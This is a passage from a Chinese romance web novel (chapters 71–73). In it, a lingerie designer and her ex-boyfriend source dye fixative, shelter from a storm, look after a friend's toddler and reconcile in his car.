粉丝C:“等等……看我发现了什么?!两碗面?姐姐谈新姐夫了?灵感这不就来了吗!!!” 粉丝D:“传下去,宫里要上新了。” 粉丝E:“传下去,宫里要上新了。” 粉丝F:“传下去,宫里要上新了。” …… 谈丹青还想解释,最近真的没有上新打算,但评论区一下全乱了,都谣传她要上新。 解释也解释不过来,谈丹青干脆放弃,缓缓翻开那本崭新的画册。 自从出事后,她一直静不下心设计,内衣设计全是吃老本。 她也不知道自己究竟是怎么了,就是找不回来当初那种一画画一天的冲劲儿。每落下一笔,耳边总响着各种声音,就好像有无数小人在叫唤: “你设计的啥东西啊?” “难看难看难看!” “公司关了滚回家种田吧!” “没读过书品味就是差,高中生土嗨!” …… 她以为只要时间过得够久,就能找回手感。 但新公司已经一切步上正规了,她还是找不回来那股心劲儿。 白纸上浮出几条凌乱的线条,今晚是她画出来的第一张比较像样的图,但距离能送去做打样的还差好远。 她有些泄气,搁下笔,像断电了一样,倒头就睡。 * 夏天白日长夜晚短。 六点不到,天就已经大亮了。 淡淡的暖橘色里,染出一圈浅青。 绪东阳按时来她酒店接她,一上车,两人异口同声: “给你的。” “给你的。” 谈丹青给绪东阳买了豆浆,绪东阳给她买了一份三明治。 再和绪东阳见面,气氛好了不少。 谈丹青说:“我能在你车上吃东西吗?” “吃吧,没那么多讲究。”绪东阳说。 谈丹青小口咬三明治,尽量不让食物残渣掉下来。 “我家楼下买的?”她眼睛一亮。 “是。”绪东阳回答,没有纠正不是“她家”,而是“他家”。 “他们家就是好吃些。”谈丹青笑了起来。 今天去工厂主要找固色剂。 谈丹青看了工厂流水线后,问:“你们的固色剂成分是纯天然的吗?” 工厂老板拍胸脯保证:“那是当然了。” “能亲肤?” “别说亲肤了,就算不小心吃下去,都没关系。”说着工厂老板以身试法,真的用一根小木条,蘸了一些他们家的固色剂尝了一口。 谈丹青叹为观止,说:“没必要真没必要,我信,我真的信了。” 光吃其实还不够有说服力,谈丹青看过工厂各类化学检验科报告后,确认他们家的固色剂不仅用料天然亲肤,并且鲜艳度和持久性都很好,终于拍板签单。 事情确定下来,谈丹青了却心头最大的事,一身轻松。 她一高兴,就瞎乐。 绪东阳看着她一直笑,便说:“就这么高兴?” “当然啊。”谈丹青语调飞扬,说:“我真的找了巨久巨久。” 阳光透过厂房的顶窗洒下,勾勒着绪东阳挺拔的轮廓。 谈丹青心头那股雀跃劲儿无处释放,目光落在他高挺的鼻梁上,一个念头闪过。 “看!飞碟!”谈丹青突然飞快地伸出食指,在身旁敞开的染料桶边缘轻轻一蘸,不等绪东阳反应,迅捷又轻柔地将那点红横抹在了他的鼻梁上。 绪东阳的鼻梁很高,五官精致,鲜艳的红色在他冷白的皮肤上格外醒目,看起来就像维基人脸上的花纹,有种异域情调。 谈丹青忍不住一直笑:“哈哈哈哈。” 她笑得开怀,绪东阳却只是静静地看着她,深邃的眼眸里映着她明媚的笑靥。 见他只是看着自己,既不躲闪也不反击,谈丹青笑也渐渐止住,在心里暗自懊悔,可能太过了? 他们的关系只是稍微破冰,远没有修复到能互相抹染料的地步。 她忙将指尖剩余的染料往自己脸上抹,说:“你,你别生气啊,我真没别的意思,我就闹着好玩……我让你抹回来!” “别抹,”绪东阳似是如梦初醒地回过了神,一把握住了她的手,淡声说:“染料闻起来有点刺鼻。” “哦……” “虽然成分天然,但毕竟也是化学剂。” “擦擦吧,”谈丹青手忙脚乱地抽出湿纸巾,“不好意思啊。” 她凑近他,小心翼翼地擦拭他鼻梁上的红痕。 指尖隔着薄薄的湿巾,能清晰地感受到他皮肤的温度和鼻梁硬朗的线条。 触感让她心头莫名一跳。 擦净后,谈丹青又找了一个洗手池给绪东阳洗脸。那水龙头有点问题,非要一直手按住才能往外出水。谈丹青按住龙头开关,清凉的水流汩汩涌出,绪东阳手接水擦了脸。 谈丹青看着绪东阳眉骨上沾着的水珠,在阳光里闪烁,然后滚落进他的眼睛里。 她若无其事地,扭头看向别处。 “你也洗个手吧。”绪东阳洗完脸说。 “好。”绪东阳和她交换位置,由他按住水龙头,谈丹青就着他掌下流淌出的清水,仔细冲洗着指尖残留的、若有似无的红色痕迹。她能感觉到他站在身侧的存在感,沉默,却无比强烈。 冰凉的水流冲刷着手背,却无法平息心头那点悄然升腾的、熟悉的热度。 * 去工厂时一路风景尚好,绿树成荫。 但回程天空突然阴了下来,豆大的雨点噼里啪啦砸在挡风玻璃上。 雨滴密到几乎看不清路。 谈丹青说:“快找个休息区停下来吧,你这么开跟盲开差不多,太危险了!” 开到休息区,推开车门风雨立刻扑面而来,两人撑着伞往休息区跑,伞瞬间被风掀翻。 谈丹青还要去捡伞,“算了,不要了,快进来。”他温热的手掌一把攥住她的手腕,“跑!”带着她在滂沱大雨中狼狈地冲刺,冰冷的雨水浸透衣衫。 终于一头撞进旅馆大堂的门内,隔绝了外面的狂风暴雨。两人喘着气,相视一眼。 谈丹青发丝凌乱地粘在白皙的颈侧和脸颊,雨水顺着她的脸颊滑落,那双眼睛亮得出奇,像被雨水洗过的星辰。 看着谈丹青这副落汤鸡却又生机勃勃的样子,绪东阳紧绷的嘴角忽然抑制不住地向上扬起,一个短促的笑声从他喉间逸出。 这笑声像有魔力,谈丹青看着他难得一见的、纯粹开怀的笑意,先是一愣,也忍不住跟着“噗嗤”笑了出来。 两个人,浑身湿透地站在旅馆大堂里,对着彼此狼狈的模样傻笑了好一会儿,甚至都引人侧目了。 “别笑了,真的!好傻啊。”谈丹青摇着头说。 旅馆人不多,两人开了一间钟点房休息,顺便吃个午饭。 酒店在城郊休息区,环境算不上多好,空间很狭窄,但是床单被褥比较干净。 进门后,狭小的空间很快充盈了雨水的味道。 落地窗上全是瀑布似的雨水,风吹得玻璃窗哐哐作响。 在这样的环境里,这间小旅馆就像他们的温馨避风港,能够阻挡一切狂风暴雨。 绪东阳脱下沾湿的外套挂在椅背上,随着他的动作。那股熟悉的、混合着干净皂角与一丝独特男性气息的味道,在狭小的房间里弥漫开来。 她不禁想起他们的第一次接吻,就是在这样的一个雨天。这一瞬间,谈丹青仿佛被什么击中了,心口复杂的感觉难以言表。 为了掩饰自己的失态,谈丹青问:“你衣服淋湿了吗?” 绪东阳扯了扯同样湿漉漉的领口,布料紧贴着他的胸膛轮廓:“还好。” 他回答着,目光却不经意地下移。 谈丹青也跟着低头,她的衣服淋过水后很,几乎变得透明,紧紧贴合着身体的曲线,透出内里衣物的颜色和轮廓。 她下意识抱紧手臂,绪东阳的视线像被烫到一般,移开,迅速转向窗外,喉结上下滚动了一下,声音有些发紧:“你去卫生间吧。” “嗯。”不用绪东阳说,谈丹青赶快去到卫生间,反手锁上了门。 外面传来绪东阳的声音:“我去一趟楼下。” 接着是房门开合的声音。 谈丹青背靠着门板,长长舒了口气。 绪东阳出去,大概是为了……避嫌吧?这样就不会听到水声。 虽然绪东阳并不在,但谈丹青还是洗得很快,因为总担心他会很快回来。 温热的水流冲刷着冰冷的皮肤,也稍稍平复了紊乱的心跳。 穿好旅馆提供的白色浴袍出来时,绪东阳已经回来了。 “换上吧。”他将袋子递给她,“楼下超市买的,可能不太好看。” “谢谢!”谈丹青感激地接过,跑回卫生间。 打开袋子一看,果然,是一条堪称“时尚灾难”的连衣裙。粗糙的印花布料,松垮的剪裁,颜色也一言难尽,但总比穿着湿衣服强。 换上那条堪称“灾难”的裙子走出来,谈丹青低头拉扯着不合身的腰线,一抬眼撞上绪东阳的目光。 他看得太专注,她有些紧张地低头看裙子,以为是裙侧面的拉链没拉,“怎么了?我衣服穿反了吗?” “没。”绪东阳目光在她裙摆下露出的纤细小腿的上停留了一瞬,随即迅速移开,声音恢复了平常的平稳,将装着盒饭的袋子放在小茶几上。 “先吃饭吧。”声音干涩。 “好!” 两人低头吃饭。 绪东阳买的都是谈丹青喜欢吃的几道菜。 谈丹青吃得津津有味。 绪东阳细心地发现,谈丹青不怎么吃肘花了。 谈丹青在吃上从不矫情,吃什么都很香。有时候绪东阳都觉得谈丹青不卖内衣完全能去做吃播,看着她吃饭是件能让心情变得巨好的事。 “肘花是在楼下餐厅买的,处理得很干净。”绪东阳说。 “我知道的。”谈丹青忙解释:“我是有一段时间吃猪脚饭吃太多了,有点吃伤了。” 说完室内静了一会儿。 绪东阳握着筷子的手停在半空,指节因为用力而泛白。 他当然知道那是什么时候。 那段日子,他隔着屏幕都能感受到她的*焦头烂额,却只能眼睁睁看着。 这沉重的沉默压得人喘不过气。 谈丹青清了清嗓子,试图打破僵局,夹了一块排骨放到绪东阳碗里:“你也吃啊,别光给我吃。我看你好像……瘦了点?” 她顿了顿,又赶紧补充,“不过肌肉线条肯定还在的!我绝对没有说你掉肌肉的意思……” 话一出口,又觉得有点此地无银三百两。 “嗯,我分手后胃有点痛。但现在好很多了。”绪东阳说。 谈丹青嗓子发干,哑声说:“哦,没,没事就好。” * 在休息区等雨停的时候,两人又像以前那样,一人坐在茶几的一边。 谈丹青画设计图,绪东阳在笔记本电脑上整理今天收集的报告。 手感慢慢在回来。 虽然回得很慢,但蹒跚学步就好。 到了下午两点多,雨势稍歇。 还飘着雨,但不影响开车。 窗外飞速掠过被雨水洗刷得格外鲜亮的街景。 车子终于缓缓停在她酒店楼下。 引擎熄火,狭小的空间瞬间被更深的寂静笼罩。 她这边事基本已经全部忙完,这也意味着,他们没有继续这样往下接触的“公事”。也意味着,有些话再不说,就又找不到合适的时机。 谈丹青深吸一口气,从五脏六腑里收集着勇气,转头看向驾驶座上的绪东阳。 两人这几天一直围着疤兜圈子,不敢碰,不敢提。 现在,不能再这么含含糊糊下去了。 “绪东阳……”她的声音透着轻颤。 “嗯?”绪东阳侧过脸,目光沉沉地落在她脸上。 那沉静的目光反而让她心头一酸。 她垂下眼睫,避开他的视线,声音低而清晰:“我……我觉得,我得给你道个歉。” 每一个字都像是从胸腔里艰难地挤出来,“我当时……说的话太难听了。对不起。” 话音落下,空气仿佛凝固了。 窗外的雨声似乎也遥远起来。 绪东阳没有立刻回应。他只是深深地看着她,那双深邃的眼眸里翻涌着极其复杂的东西。 有沉痛的过往,有深刻的理解,有未消的余悸,更有一种难以言喻的、几乎要将她吞噬的温柔。 他的目光像一张无形的网,将她紧紧包裹,让她无处遁形,心跳如擂鼓。 半晌,绪东阳缓缓抬起手。 谈丹青的心猛地提到了嗓子眼,身体下意识地微微后缩,以为他要触碰自己的脸颊。 然而那只骨节分明的手只是极其轻柔地、带着一种近乎虔诚的珍视,用微温的指腹拂过她眼角下方。 那里不知何时沾上了一点点微小的泥渍,像一枚意外落下的小小印记。 指腹带着薄茧,触感清晰得如同电流,极轻、极缓地掠过她细腻的皮肤。 指腹离开皮肤的瞬间,那被触碰过的地方仿佛还残留着他温热的触感,细微的电流感蔓延开来。 “不用说对不起,我从来没生过你气。”他的声音低沉而坚定,仿佛要将每一个字都刻进她心里。 “后面……我们慢慢来,好吗?” 他倾身过来,修长的手指按向安全带卡扣。 “咔哒”一声轻响,束缚解除。 谈丹青的心像是被这句话狠狠攥紧,又猛地松开,一股酸涩又饱胀的热流瞬间涌上眼眶。 她张了张嘴,喉咙却像是被什么堵住,最终只是在他专注的目光下,轻轻点了点头。 * 回酒店后,关上门,隔绝了外面的世界。 谈丹青第一时间走到窗边,看着楼下他车子刚刚停过的位置,那里已经空空如也。 她将脸贴在冰凉的玻璃上。 慢慢来…… 反复咀嚼着这三个字。 郑芳的话又在脑海中响起:“你得给别人一个靠近你的机会。” 心绪像一团乱麻,剪不断,理还乱。 犹豫、挣扎、一点隐秘的期待……各种情绪在她心头拉锯。 最终谈丹青深吸一口气,像是下定了某种决心,走到床边坐下,掏出手机,认认真真地敲下字。 Tdq:【安全到家了?】 几乎是立刻,屏幕顶端跳出了“正在输入中……”的提示。 仿佛他一直在关注着聊天对话框。 Leo:【嗯,刚到。】 短暂的停顿。空气仿佛都凝滞了。 那句真正想问的话,在对话框里删删改改了好几次。最终,她眼一闭心一横,按下了发送键: Tdq:【那……方便问个私人问题吗?】 Leo:【多私人?】 Tdq:【你身边的位置……还空着吗?】 Leo:【副驾驶座?】 Leo:【不是刚给你坐过?】 谈丹青懊恼。 抿唇想,早知道不这么问了。 应该问得更直白点,干脆就问:【有在谈吗?】 就在谈丹青追悔莫及时。 对话框弹出:【明天下午我要去接魏帆学长的女儿。我一个男人单独过去不太好,你有空吗?】 谈丹青轻轻吐气,连忙抓住机会。 Tdq:【好啊。】 【作者有话说】 [垂耳兔头][垂耳兔头][垂耳兔头] 下章! 72 第72章 ◎给我个准信儿◎ 谈丹青将确定固色剂和染料工厂的相关资料发给郑芳。 隔着话筒,她几乎听到郑芳翻白眼假睫毛扇风的声音。 “到底谁想听你固色剂的事!!!快快快,你们复合了吗?” 谈丹青噎了一下:“……固色剂还是挺重要的。” 郑芳:“哎呀哎呀,快说嘛!” “没有……”谈丹青复述了一遍绪东阳在车上跟她说的话,末了问:“你说,这个‘慢慢来’是什么意思呢?” “慢慢来?”郑芳琢磨了一会儿,斩钉截铁道:“就是愿意复合呗!” “可是,”谈丹青说:“他没提‘复合’。” “他不提,你提嘛!”郑芳怂恿道。 “我?”谈丹青说:“我怎么提?” “你就趁着天气不错、心情不错,随口提呗。”郑芳说:“你提了,主动权就在你。他要是不愿意,你就说,他听错了,你说的是是‘府河’,地名,不是‘复合’。还能笑话他空耳。” “这什么语境下能弄混……”谈丹青哭笑不得。 “很简单啊,就说,我是问你周末要不要去府河玩。” “复合?府河?”谈丹青听着听着,脑子里开始转悠各种“随口一提”的场景。 别说……还真别说。 郑芳这办法,除了对她的脸皮有一定程度的考验,没毛病。 这时,郑芳又说了一句:“哦,对了,你弟弟要去找你了。” “啊?你说谈小白?”谈丹青意外道,“他不是在你这儿么?” “他听说你在江城很忙,闹着要来找你。”郑芳说:“你留点神,别让他们俩又撞上了……” 挂了电话,谈丹青心里那点忐忑不但没消,反而像毛线球一样缠得更紧了。一边是“复合”两个字像烫嘴的山芋,不知怎么递出去;另一边,她对小孩儿更是没经验。 下午两点刚过,绪东阳的车就滑到了酒店楼下。 谈丹青坐进副驾驶,“喏!”将一大兜塑料袋递给绪东阳。 “你买了什么?”绪东阳问。 “小孩儿的玩具!”谈丹青将塑料袋里的东西一样一样拿出来给他看,“丽莎女王、机器小狗,这是……这是什么?哦,卡通书。” 绪东阳扶着方向盘,忽地哑然失笑。 他看透了谈丹青在担忧什么,隔壁吴婶家的那个小乖孙,以前谈丹青每次碰到,都贴着墙壁走,生怕那小胖墩会突然开口说:“抱!” “放心,”绪东阳淡声说:“那丫头她绝对……特别喜欢你。” “可你怎么知道?”有了绪东阳这句保证,谈丹青不禁稍稍放松,抿了抿唇。 绪东阳笑,说:“到时候你就看吧。” “行吧……”谈丹青低头来回搓着塑料袋。 聚乙烯发出阵阵令人心烦意乱的细碎响声。 其实,塑料袋底部还有一样东西。 甚至这一大兜儿的所有东西,都是用来掩盖它。 谈丹青犹豫了片刻,翻找出来,攥在手心里,递过去,装若随意地说:“随便买的,给你吧。” 绪东阳侧头望了过来。 谈丹青白皙的指尖提着一只小小的车载挂件—— 一只茶味车载香包,红色的缎面上绣了“平安”两个字。 绪东阳目光停留在看着那只香包上,尤其是那用针线绣出来的“平安”。 这两个字,和此时他依旧保存在钱夹里的平安符,如出一辙。 他无声地静了片刻,温声说:“谢谢。” 谈丹青松了口气,说:“那我就放你的车载抽屉里了。这个东西很香的,放一会儿,你车里就很香了。” 绪东阳说:“挂着吧。” “挂哪儿?”谈丹青问。 “后视镜上。” “挂后视镜,大家一上你的车就会看见。”谈丹青说。 她买这小挂件主要是想讨个吉利。她也是常开车的人,知道车关的厉害,总觉得车上挂点东西,心里踏实,所以她的车上也有。 红色小香包女性气息还是偏浓了,和绪东阳平时的风格格格不入,其他人一看就知道一定不是他自己买的。 “看见不更好?”绪东阳却说。 谈丹青微愣,不由联想到昨晚两人聊天说的什么“空位”、“副驾驶座”,觉得有些好笑,便将小挂包挂好。 随着车身行驶,那小香包垂下的穗也轻轻晃。 挺好看的。 让车子有了点人气。 * 一路开到幼儿园门口。 等了约莫二十分钟,一声清脆的铃声骤然响起,安静的园子瞬间像炸开了锅。 紧接着一群穿着花花绿绿的“小豆丁”,叽叽喳喳、你推我搡地涌了出来,扑腾滚过幼儿园大门。 绪东阳下了车,扬起嗓子喊了一声:“莹莹!魏莹!” 话音没落,一个背着亮红色小书包、顶着圆鼓鼓丸子头的小丫头,像颗小炮弹似的从“萝卜堆”里冲了出来,一头扎到绪东阳腿边:“绪东阳哥哥!” 她是第一次见谈丹青,有点怕生,瞧了她一眼,就藏到绪东阳腿后。 但过了一会儿,她察觉到谈丹青没有恶意,便打着胆子,朝外探出大半个身子,那双葡萄似的大眼睛忽闪忽闪,围着谈丹青滴溜溜转。 “绪东阳哥哥,”她昂起小脸,小爪子揪住绪东阳的衣襟往下拽。 “嗯?”绪东阳弯下腰,耐心地侧耳听。 小姑娘踮起脚,小胖手拢成喇叭筒,凑到绪东阳耳边,自以为悄悄话,实则小奶音响亮如喇叭,大声宣布:“绪东阳哥哥!这个姐姐好飘飘呀!” 绪东阳谈丹青交换了一个眼神,似乎在说:“我没骗你吧?” “魏莹是吗?我叫谈丹青,魏莹小朋友你好呀。”谈丹青将提前给小朋友买的礼物送给了她。 “你好呀!飘飘姐姐!”这个年龄的小孩儿好恶全写在脸上,尤其喜欢长得漂亮的大姐姐。 魏莹一跟谈丹青混熟,立马松开绪东阳的腿,向谈丹青伸出小短手,奶声奶气地说:“抱,抱抱,要姐姐抱。” “啊?我啊?”谈丹青一愣,指尖下意识点着自己鼻尖,目光嗖地转向绪东阳求救。 绪东阳嘴角压着一点看热闹的笑,非但没解围,反而顺手把臂弯里的小人儿往前一送。 他抱魏莹的动作利索得很,一看就是带娃老手,单手托着小家伙稳稳当当,那结实的臂膀肌肉就是天然的儿童座椅。 “我……我真抱啊?”谈丹青眼睛瞪得溜圆,身体绷得像根棍子。 “又不是炸弹,你怕什么?”这回绪东阳声音里的笑意更清晰了,谈丹青可以肯定,他就是在看她笑话。 “帮个忙,”见谈丹青还紧张,绪东阳又说:“我要给她装安全椅。” “那好吧……”谈丹青认命地深吸一口气,伸出胳膊,姿势僵硬得像第一次抱真娃娃,小心翼翼地把那团热乎乎、软绵绵的小身体接了过来。 魏莹是个e人小宝宝,天生的自来熟,小短手立马熟门熟路地圈住谈丹青的脖子,小脑袋往她肩窝一靠,还用小胖手拍了拍她的背,用哄人的调调说:“不怕不怕哦。” 谈丹青一时哭笑不得,忙说:“不怕,姐姐保证不会把你摔着。” “我是说,姐姐不怕不怕。”小家伙认真地纠正,小脸蛋在谈丹青颈窝蹭了蹭,“姐姐身上香香。” “我天……”谈丹青心都要萌化了。 没人能忍住不去闻小宝宝的脑袋。 她抱着魏莹,偷偷闻了闻她的丸子头。 这个年龄的小女孩儿身上还有奶香味儿,简直就是块香喷喷的奶蛋糕。 绪东阳躬身在后车厢固定儿童安全椅,从谈丹青怀中将魏莹放进去,小心地放进座椅里,系好安全带,这才坐回驾驶座。 坐好后,谈丹青感慨地问:“有人问过魏帆那个问题吗?” “什么问题?”绪东阳没听懂谈丹青在说什么。 “就是那个,那个问题!”谈丹青急得举着手比划。 “嗯?”绪东阳一头雾水。 “我孩子能当童模吗!”谈丹青说。 绪东阳正要踩油门起步,闻声刹车踩到了底,然后不可思议地看向她,“我们的孩子?你……平时也会想这么多吗?” “不不不,”谈丹青几乎被绪东阳给吓傻了,她哪里知道绪东阳会误解得这么刁钻,脸瞬间爆红,手快摆成仙女散花,语无伦次地解释:“不是我们的孩子,是我孩子,不是我孩子……我是说那个梗,这句话就是个梗……就是,就是小红书上的……” 谈丹青觉得她可能在这一刻突然被剥夺了中国血统,舌头打了结,思维混乱,连话都说不清楚。 两个人鸡同鸭讲了一通,终于让绪东阳弄清楚了,这句话其实是小红书上很流行的一种梗。 大概意思就是夸小孩儿长得很可爱,能去当童模。 绪东阳明白后,靠着椅背缓了一会儿,镇定下来,重新启动车,说:“好像没听学长说要让魏莹当童模。” “算了。”谈丹青说:“跟你实在说不清楚。” 她用手背搓了搓脸,努力让体温降下来。 绪东阳究竟是怎么做到联想能力这么可怕的?难道他还真想过?谈丹青摇摇头,这问题绝对不能再继续往下想了。 她拿起手机,转身对准魏莹,“莹莹,看过来,对,看姐姐。” 魏莹立刻像朵迎着太阳的小向日葵,冲着镜头绽放出最灿烂无邪的笑容,大眼睛弯成小月牙,光芒几乎要溢出屏幕。 “太可爱了……”谈丹青连按快门,嘴角不自觉地上扬。 “莹莹也要拍,莹莹也要拍!”安全座椅里的魏莹小脑袋一歪,看着谈丹青的手机屏幕,奶声奶气地举起小手,“我要用手表拍。” “好吧。”谈丹青同意了。 魏莹继续提要求:“绪东阳哥哥也要!飘飘姐姐和东阳哥哥一起拍莹莹嘛!”她伸出小短手,努力地比划着,想把前排的两个人框进她想象中的画面里,小奶音带上了点撒娇的鼻音,杀伤力十足。 “那就……拍一张?”谈丹青眼神飘向绪东阳。 绪东阳点了点头。 魏莹努力伸长胳膊举着手机,笨拙地调整角度,试图把谈丹青和绪东阳同时框进去,“绪东阳哥哥!飘飘姐姐!再靠近一点呀!头歪歪!” 谈丹青没办法,只能又往驾驶座方向挪了一点点。绪东阳的肩膀极其细微地也朝中间收了收,空气微妙地凝滞了一瞬,两人之间,再没有了间隙。 “咔嚓!” “茄子!” 魏莹小朋友看着手表屏幕上那张新鲜出炉、构图奇特的照片,心满意足地拍着小手:“拍好啦!我还要设成屏保。” “屏保?”谈丹青惊讶道:“现在手表这么高级啊?” 绪东阳在一旁补充:“不只能拍照,还能打电话。” “是哦,小天才电子手表哦!”魏莹笑眯眯地在后排继续玩她的手表。 * “还麻烦丹青也跑一趟呀。怎么还给买了这么多玩具。她玩具多得家里都放不了。”将孩子送到家后,魏帆感谢道。 “没事没事。”谈丹青说:“顺路的。” “别走啊,马上就开饭了,都留下,吃了饭再走。” 谈丹青和绪东阳不好推迟,便留了下来。 午饭是魏帆学长和他妻子两个人做,距离正式开饭还有一会儿,谈丹青和绪东阳带着魏莹去小区超市买点零食水果。 超市里人声鼎沸,人挤着人,吵吵闹闹。 莹莹坐在购物车的儿童座椅上,兴奋地指挥方向,“前进!左转!再右转!” 绪东阳推着车,谈丹青走在他身侧。 超市过道不算宽敞,有人推着满满当当的购物车迎面走来时,绪东阳会非常自然地伸出手臂,虚虚地护在谈丹青身侧,防止她被撞到。 他的手臂并未真正碰到她,但那瞬间拉近的距离,他衣袖间传来的干净气息,以及那无声的保护姿态,都让谈丹青觉得那么熟悉。 她微微侧头看他,他正低头询问魏莹想吃什么饼干,侧脸线条在超市的灯光下显得格外柔和。 好怀念啊…… 到底怎么样,才能重新拥有这种微小但真实的幸福呢? 走到生鲜区,绪东阳拿起一盒包装精致的草莓,看向谈丹青:“这个?” 谈丹青点头:“嗯,好,看着很新鲜。” 绪东阳又拿起一盒蓝莓。 “这个也好吃。”谈丹青自然地点了点头。 魏莹看了一会儿,突然说:“绪东阳哥哥,你怎么什么都要问姐姐呀?” 绪东阳将蓝莓放进购物车,自然而然地说:“确认买的东西你姐姐喜欢。” 魏莹听了直用手指抹脸蛋儿,“羞羞哦羞羞!我粑粑也什么都听我麻麻的。” 绪东阳揉了揉她的头发,只是推着车继续向前。 谈丹青在一旁听着,字字清晰。 饭桌上气氛轻松。 魏帆健谈,讲着工作趣事和魏莹的童言童语。 谈丹青和绪东阳坐在莹莹两侧,默契地照顾着小家伙。 绪东阳的目光大部分时间落在女儿般活泼的莹莹身上,但偶尔会抬起眼,视线掠过谈丹青笑盈盈的脸庞。 目光沉静而专注,透出不易察觉的暖意,像冬日里悄然洒落的阳光。 谈丹青有时抬头,意外捕捉到绪东阳的视线。 两人目光在空中短暂交汇,又匆匆移开。 魏帆今晚高兴,特意开了两瓶红酒。 都是好年份,谈丹青喝了一些。 绪东阳要开车,所以不能碰酒。 谈丹青酒量其实不错。 一两杯不至于醉,但或许是今晚后面还有艰巨的任务,不过两杯入腹,便有一种飘飘然的感觉。 这感觉挺好,谈丹青甚至有意想抓住这种感觉。 人飘一点,就能不受现实引力的影响,就能更好更坦然地直面本心,就能…… 就能让她今晚接下来要说的话,更容易说出口。 黑色车身缓缓在灯火璀璨的酒店前停下。 车窗外,水晶吊灯的光芒从旋转门里流出,在地面上投出长长的影子。 引擎低沉的嗡鸣缓缓停歇。 一种奇异的寂静填满了车厢。 小小的“平安”香包在灯下晃。 光影摇曳。 紧闭的车门,成了横亘在两人之间唯一的也是最后的屏障。 推开它,他们就要回到各自的世界里。 车停着。 人坐着。 世界在窗外流动。 而他们,被困在这片由心跳、呼吸和未决情愫编织成的、令人窒息的宁静里。 “莹莹挺可爱的。”她试着打破寂静。 “是。”绪东阳应道。 “你帮魏帆学长做项目,他给发工资吗?” “发的。” “好老板啊。” “你什么时候回广东?” “后天吧。” “你呢?什么时候回北京。” “也是后天。” “哦,票买了吗?” “买了。” 谈丹青再次张了张嘴,吐不出一个音节。 能说的话,就这么一句接着一句说完了。 她搜肠刮肚,也想不出后面还能再说些什么? 难道,真要像洋鬼子一样坐着聊聊天气? 舌尖发干、发涩…… 酒精带来的飘忽的感觉,也像退烧一样渐渐消退。 谈丹青抓着安全带,仿佛在固定自己的身体,也仿佛在紧抓一根救命稻草。她感觉自己的心跳声在这片寂静中被无限放大,咚咚咚地撞击着耳膜。 真的要说了吗? “复合”、“府河”…… 就在她天人交战时,绪东阳突然朝她伸来了手,他的手指碰到了她的手臂。谈丹青瞬间僵住,感觉那一小片皮肤像被点燃。 “安全带卡住了?”他以为她没下车,是因为安全带又卡着了。 这次他很快就准确无误地找到了安全带纽扣,谈丹青清晰地感觉到他的手就在她的腰侧,灵活地帮她解下安全带,动作不疾不徐。 狭窄的车厢只有两人轻微的呼吸声。 “哒”地一声,安全带解开。 绪东阳的手并未立刻离开,而是轻轻按在她的手背上,停顿了大概一秒钟,那短暂的停留,有一种无声的确认,和难以言喻的亲昵。 “好了。”他终于退开一步,声音比平时更低沉沙哑。 就在他坐回去时,“绪东阳。”谈丹青几乎是用颤音开口。 然后她便听到绪东阳的声音同时在头顶响起,“和好吧。” 车内顶灯没有亮起,唯一的光源来自仪表盘。 那幽微、偏冷的蓝光,像一层薄薄的冰霜,勾勒出他棱角分明的侧脸。 他就这样坐在蓝光下,喉结偶尔滚动,深陷眼窝里,只有在极轻微转动瞳孔时,才会看到有一抹幽微难辨的光,闪烁,然后稍纵即逝。 他眼睫轻微颤动而微微摇晃,淡色嘴角勾出一抹苦笑,“我昨天说,想跟你慢慢来,那时我想等着你主动跟我说复合。毕竟当初是你甩的我,我抹不开这个面子。但……我发现我等不了了,一天都等不了,多一天,都是折磨,都是熬……” 扶着方向盘的手,缓缓收紧,又缓缓松开,手背上嶙峋的青筋,仿佛是黛色起伏的山脉,“谈丹青,你给我个准信儿,行么?” 73 第73章 ◎保证◎ 听到绪东阳温和平稳的声音,像一场宁静的白雪徐徐落下。谈丹青的眼泪毫无征兆地砸下来。 她慌忙用双手紧紧捂住眼睛。 她不想哭,真不想。 哭好丢脸。 可泪水却自有意志,止不住地往外流淌,烧得脸颊发热。 她一哭,绪东阳也乱了方寸。 先是想找来纸巾为她擦眼泪,但偏巧抽屉里最后的抽纸也用完了,只得用手帮她擦。 “怎么哭成这样?”粗糙的掌心小心翼翼地盖住了她的整张脸颊,轻轻一揩,满手都是泪珠,“就这么不想跟我和好?在我面前,你从来没有这么哭过。” 何止是在绪东阳面前,谈丹青长这么大,就没有在任何情景任何场合哭成这样过。哭在她眼里一直都是无能、弱小的表现。可也不知怎么了,今晚在绪东阳这儿实在装不了淡定。 谈丹青用力地摇了摇头,哽咽全堵在嗓子里:“你把我要说的话,都,都给抢了,那我,我现在说什么啊……” “那你再重新想。”绪东阳闻言顿时长松了口气,既是无奈,也是好笑。 “我想不出来啊,”谈丹青懊恼,“就这几句话是我琢磨一晚上想的。” “那我更得好好听听了,你琢磨了一晚上的小作文。”绪东阳较起真来,含笑看她,说:“如果今晚我不说和好,你打算怎么说?” “就,就……”主要绪东阳的话太动情了,将气氛架了起来,她接着绪东阳后面说,就有点相形见绌。但绪东阳一脸很想听的神情,谈丹青也不想扫这个兴。再说了,他都已经提议复合了,总不能立马反悔吧,她说了也无所谓。 “咳咳……”谈丹青便清了清嗓子,说:“就是问你愿不愿意跟我复合呗。要是你不愿意,我就说,你听错了,我其实说的是,你愿不愿意周末跟我去府河玩。” “fuhe?” “一个地名。”谈丹青解释。 绪东阳哑然失笑,指腹的擦拭变成了轻柔的抚拭,动作间带着一种熟悉的、令人心悸的暧昧,像久别重逢的情人之间隐秘的爱扌无。 “我觉得,你想得挺好的,只是派不上什么用场。” “嗯?”谈丹青拿哭红了的眼睛觑他,“你这到底是夸还是贬呢?” “因为你说了第一句,我就已经答应你了,没机会说第二句。” 谈丹青怔了怔,然后破涕为笑:“嘁……” 来自他指腹的那份触碰,像带着微弱的电流。谈丹青鼻尖一酸,几乎是本能地向前倾身,额头抵上他的脸颊,手臂环住了他的脖颈。他的皮肤温热,散发着熟悉的气息,仿佛一个安心的港湾。 她感觉绪东阳身躯微微僵了僵,然后极其用力地使劲儿回搂住她。发顶传来极其轻微的、几不可察的压力,他的嘴唇在她的发顶上轻轻碰了碰,谈丹青眼睛顿时又是一酸。 真好啊! 真好。 原来她有这么想他。 她甚至自己都不知道。 这段时间,她一心扑在公司上。 不敢让自己睡太沉,就怕会做梦梦到他。 她用力咬了咬口腔内壁的软肉。 谈丹青,这次真不能再哭了啊。 哭一会儿就得了。 不能总哭哭啼啼。 视线朦朦胧胧,垂下眼皮,视野里出现的是被她用手紧紧抓住的绪东阳的外衣衣摆。 卡其色外套被她抓皱了,她悄悄用指尖一点点去捋皱痕。 